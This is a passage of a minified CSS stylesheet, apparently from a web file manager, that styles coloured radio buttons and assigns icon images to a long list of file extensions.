background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none 